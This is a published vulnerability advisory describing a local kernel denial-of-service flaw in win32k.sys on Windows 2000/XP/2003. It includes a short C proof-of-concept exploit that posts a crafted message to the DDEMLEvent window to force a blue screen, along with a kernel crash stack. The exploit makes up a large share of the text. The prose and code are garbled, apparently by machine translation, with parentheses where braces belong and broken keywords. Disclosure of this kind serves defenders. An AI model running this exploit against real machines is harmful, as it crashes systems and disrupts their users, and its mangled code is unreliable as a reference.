Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service 
Vulnerability 



Effect : Microsoft Windows 2000/XP/2003 full patch 





Author:MJ0011

Published: 2010-04-22





Vulnerability Details: 





Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this 
function in dealing with some 

Message, will call gapfnScSendMessage this function table function to process,

which under the deal 2000/xp/2003 0x4c No. message, there will be SfnINSTRING 
function called this function when the lParam is not empty, 

direct that the lParam is a memory pointer, and pull data directly from the 
address

despite the use of the function of the SEH, but as long as the kernel address 
transmission errors will still cause the system BSOD 





Exploit code: 



# Include "stdafx.h" 

# Include "windows.h" 

int main (int argc, char * argv []) 

( 

printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy 
MJ0011\nth_decoder$126.com\nPressEnter");



getchar();



HWND hwnd = FindWindow ("DDEMLEvent", NULL); 



if (hwnd == 0) 

( 

   printf ("cannot find DDEMLEvent Window! \ n"); 

   return 0; 

) 



PostMessage (hwnd, 0x18d, 0x0, 0x80000000); 





return 0; 

) 



Common crash stack: 



kd> kc 



win32k! SfnINSTRING 

win32k! xxxDefWindowProc 

win32k! xxxEventWndProc 

win32k! xxxDispatchMessage 

win32k! NtUserDispatchMessage 

.... 



Windows 7/Vista no such problem 



Thanks: 



Thanks to my colleagues LYL to help me discovered this vulnerability 



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